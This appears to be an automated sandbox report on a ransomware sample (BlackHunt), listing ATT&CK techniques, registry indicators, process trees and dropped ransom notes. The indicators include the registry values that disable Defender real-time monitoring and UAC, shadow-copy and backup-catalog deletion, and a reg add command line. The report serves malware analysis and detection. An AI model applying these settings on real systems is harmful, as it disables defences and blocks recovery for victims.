fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8

Data Destruction

T1485

pid	Process
6004	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
6012	bcdedit.exe
5920	bcdedit.exe

Renames multiple (536) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5944	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	Process not Found

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\G:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\J:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\I:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\S:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\L:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\W:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\T:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\P:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\A:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\N:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\E:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\R:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\Y:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\U:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\X:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\M:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\Z:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\V:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\B:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\Q:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\O:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\H:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened (read-only)	\??\K:	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\relaxngdatatype.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xmlresolver.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\is.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\blacklist	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cs.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jni.h	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\US_export_policy.jar	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\MeasureSuspend.pptm	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\7zCon.sfx	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\splash.gif	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaBrightItalic.ttf	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jopt-simple.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\jpeg_fx.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jce.jar	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_Private.key	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\joni.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jfr\profile.jfc	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_zh_CN.properties	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_Private.key	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xmlresolver.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_Private.key	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\US_export_policy.jar	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\relaxngdatatype.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\directshow.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\cryptix.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_Private.key	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\SetEnable.jpg	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_ReadMe.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\#BlackHunt_ReadMe.hta	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\meta-index	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\thaidict.md	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_Private.key	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5404	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5828	vssadmin.exe
5628	vssadmin.exe
5264	vssadmin.exe
5732	vssadmin.exe
5864	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	cmd.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	cmd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Token: SeRestorePrivilege	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Token: SeBackupPrivilege	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Token: SeTakeOwnershipPrivilege	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Token: SeAuditPrivilege	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Token: SeSecurityPrivilege	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Token: SeIncBasePriorityPrivilege	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Token: SeBackupPrivilege	4956	wbengine.exe
Token: SeRestorePrivilege	4956	wbengine.exe
Token: SeSecurityPrivilege	4956	wbengine.exe
Token: SeBackupPrivilege	4936	vssvc.exe
Token: SeRestorePrivilege	4936	vssvc.exe
Token: SeAuditPrivilege	4936	vssvc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 3976	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	90
PID 1432 wrote to memory of 3976	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	90
PID 1432 wrote to memory of 1072	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	92
PID 1432 wrote to memory of 1072	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	92
PID 1432 wrote to memory of 3260	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	94
PID 1432 wrote to memory of 3260	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	94
PID 1432 wrote to memory of 2260	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	96
PID 1432 wrote to memory of 2260	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	96
PID 1432 wrote to memory of 4704	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	98
PID 1432 wrote to memory of 4704	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	98
PID 3976 wrote to memory of 4532	3976	cmd.exe	100
PID 3976 wrote to memory of 4532	3976	cmd.exe	100
PID 4704 wrote to memory of 2452	4704	cmd.exe	104
PID 4704 wrote to memory of 2452	4704	cmd.exe	104
PID 1072 wrote to memory of 4384	1072	cmd.exe	103
PID 1072 wrote to memory of 4384	1072	cmd.exe	103
PID 2260 wrote to memory of 1728	2260	cmd.exe	102
PID 2260 wrote to memory of 1728	2260	cmd.exe	102
PID 3260 wrote to memory of 3556	3260	cmd.exe	101
PID 3260 wrote to memory of 3556	3260	cmd.exe	101
PID 1432 wrote to memory of 1064	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	106
PID 1432 wrote to memory of 1064	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	106
PID 1432 wrote to memory of 3804	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	107
PID 1432 wrote to memory of 3804	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	107
PID 1432 wrote to memory of 3480	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	114
PID 1432 wrote to memory of 3480	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	114
PID 1432 wrote to memory of 4476	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	109
PID 1432 wrote to memory of 4476	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	109
PID 1432 wrote to memory of 1864	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	110
PID 1432 wrote to memory of 1864	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	110
PID 1432 wrote to memory of 1764	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	115
PID 1432 wrote to memory of 1764	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	115
PID 1432 wrote to memory of 4484	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	117
PID 1432 wrote to memory of 4484	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	117
PID 1432 wrote to memory of 2588	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	119
PID 1432 wrote to memory of 2588	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	119
PID 1432 wrote to memory of 2204	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	120
PID 1432 wrote to memory of 2204	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	120
PID 1432 wrote to memory of 1348	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	121
PID 1432 wrote to memory of 1348	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	121
PID 1432 wrote to memory of 3760	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	127
PID 1432 wrote to memory of 3760	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	127
PID 1432 wrote to memory of 3952	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	125
PID 1432 wrote to memory of 3952	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	125
PID 1432 wrote to memory of 4448	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	136
PID 1432 wrote to memory of 4448	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	136
PID 1432 wrote to memory of 3224	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	135
PID 1432 wrote to memory of 3224	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	135
PID 1432 wrote to memory of 4988	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	133
PID 1432 wrote to memory of 4988	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	133
PID 1064 wrote to memory of 2792	1064	cmd.exe	131
PID 1064 wrote to memory of 2792	1064	cmd.exe	131
PID 1432 wrote to memory of 4516	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	137
PID 1432 wrote to memory of 4516	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	137
PID 1432 wrote to memory of 5104	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	142
PID 1432 wrote to memory of 5104	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	142
PID 1432 wrote to memory of 3312	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	140
PID 1432 wrote to memory of 3312	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	140
PID 1432 wrote to memory of 1820	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	139
PID 1432 wrote to memory of 1820	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	139
PID 1432 wrote to memory of 456	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	145
PID 1432 wrote to memory of 456	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	145
PID 1432 wrote to memory of 1896	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	146
PID 1432 wrote to memory of 1896	1432	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe	146

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe
"C:\Users\Admin\AppData\Local\Temp\fdc359307eca0c09bd2bae051fb0a16d961c15226ce10bcc1fc9835162592ef8.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4532
- C:\Windows\System32\cmd.exe
